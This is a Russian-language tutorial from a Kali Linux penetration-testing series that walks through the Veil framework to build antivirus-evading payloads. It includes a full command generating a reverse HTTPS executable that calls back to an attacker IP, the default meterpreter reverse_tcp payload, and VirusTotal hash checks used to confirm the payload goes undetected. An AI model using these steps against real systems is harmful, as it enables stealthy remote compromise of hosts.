#80 Kali Linux для продвинутого тестирования на проникновение. Использование фреймворка Veil. Часть 2.
Здравствуйте, дорогие друзья.
В настоящее время существует 41 полезная нагрузка, предназначенная для обхода антивирусного программного обеспечения с использованием шифрования или прямой инъекции в пространство памяти, в инструменте Evasion. Эти полезные нагрузки показаны на рисунке ниже:
Чтобы получить информацию о конкретной полезной нагрузке, введите info <номер полезной нагрузки / имя полезной нагрузки>
или info <tab>
для автозаполнения доступных полезных данных. Вы также можете просто ввести номер из списка. В следующем примере мы ввели 14, чтобы выбрать python/shellcode_inject/aes_encrypt, запустив use 29
.
Эксплойт включает опцию expire_payload. Если модуль не выполняется целевым пользователем в течение указанного периода времени, он становится неработоспособным, а также включает CLICKTRACK, который устанавливает значение того, сколько кликов пользователь должен сделать, чтобы выполнить полезную нагрузку. Эта функция способствует скрытности атаки.
Некоторые из необходимых параметров предварительно заполнены значениями и описаниями по умолчанию. Если value не заполняется по умолчанию, тестировщику необходимо будет сделать следующее:
1. Ввести значение, прежде чем можно будет сгенерировать полезную нагрузку. Чтобы установить значение параметра, введите set <option name>
.
2. Затем введите нужное значение. Чтобы принять параметры по умолчанию и создать эксплойт, введите: generate in the Veil-Evasion shell.
Существует известная ошибка, которая выдает сообщения об ошибках, относящиеся к шифрованию. Тестировщики могут редактировать файл, расположенный в /usr/share/veil/tools/evasion/evasion_common/encryption.py и отредактировать строку 21 из aes_cipher_object = AES.new(random_aes_key, AES.MODE_CBC, iv) для es_cipher_object = AES.new (random_aes_key.encode (‘utf-8′), AES.MODE_CBC, iv.encode(‘utf-8′)) без кавычек. Это должно исправить сообщение об ошибке без проблем.
Ordnance по умолчанию является местом, где Вы сможете генерировать определенный шеллкод. Если есть ошибка, по умолчанию, будет использоваться msfvenom или пользовательский шеллкод. Если выбрана опция пользовательского шеллкода, введите шеллкод в виде \x01\x02, без кавычек и символов новой строки (\n). Если по умолчанию выбрана опция msfvenom, Вам будет предложено выбрать по умолчанию полезную нагрузку windows/meterpreter/reverse_tcp. Если Вы хотите использовать другую полезную нагрузку, нажмите клавишу Tab для завершения.
Доступные полезные нагрузки показаны на рисунке ниже:
На рисунке, нажатие клавиши Tab использовалось для демонстрации некоторых доступных полезных нагрузок; однако было выбрано значение по умолчанию (windows/meterpreter/reverse_tcp):
Эксплойты Veil-Evasion также можно создавать непосредственно из терминала, используя некоторые параметры. В этом примере мы используем опцию 14 для создания исполняемого файла полезной нагрузки с помощью Go:
1 |
sudo veil –t Evasion -p 14 --ordnance-payload rev_https --ip 192.168.1.7 --port 443 -o Outfile |
Предыдущая команда должна вывести файл с исполняемым файлом эксплойта, исходным кодом и resource файл в полезную нагрузку Metasploit, как показано на рисунке ниже:
После создания эксплойта, тестер должен проверить полезную нагрузку с помощью VirusTotal, чтобы убедиться, что она не вызовет оповещение, когда будет помещена в целевую систему. Если образец полезной нагрузки отправлен непосредственно в VirusTotal, и антивирусы помечают его как вредоносное программное обеспечение, а затем обновляют сигнатуры, то исправление может быть выпущено антивирусными поставщиками всего за 1 час.
Veil-Evasion позволяет тестировщикам использовать безопасную проверку против VirusTotal. При создании любой полезной нагрузки хэш SHA1 создается и добавляется в файл hashes.txt, расположенный в каталоге ~/veil-output. Тестеры могут вызвать скрипт checkvt для отправки хэшей в VirusTotal, который проверит хэш значения SHA1, против своей базы данных вредоносных программ. Если полезная нагрузка Veil-Evasion инициирует совпадение, то тестер знает, что он может быть обнаружен целевой системой. Если он не инициирует совпадение, то полезная нагрузка будет обходить антивирусное программное обеспечение. Успешный поиск (не обнаруживаемый AV) с использованием команды checkvt выглядит следующим образом:
Если злоумышленники получают какие-либо сообщения об ошибках, при выполнении команды checkvt, убедитесь, что Вы отредактировали файл, расположенный в /usr/share/veil/tools/evasion/scripts/vt-notify/vt-notify.rb
и измените $apikey на свой ключ.
На этом все. Всем хорошего дня!
Полный цикл статей по Kali Linux для продвинутого тестирования на проникновение.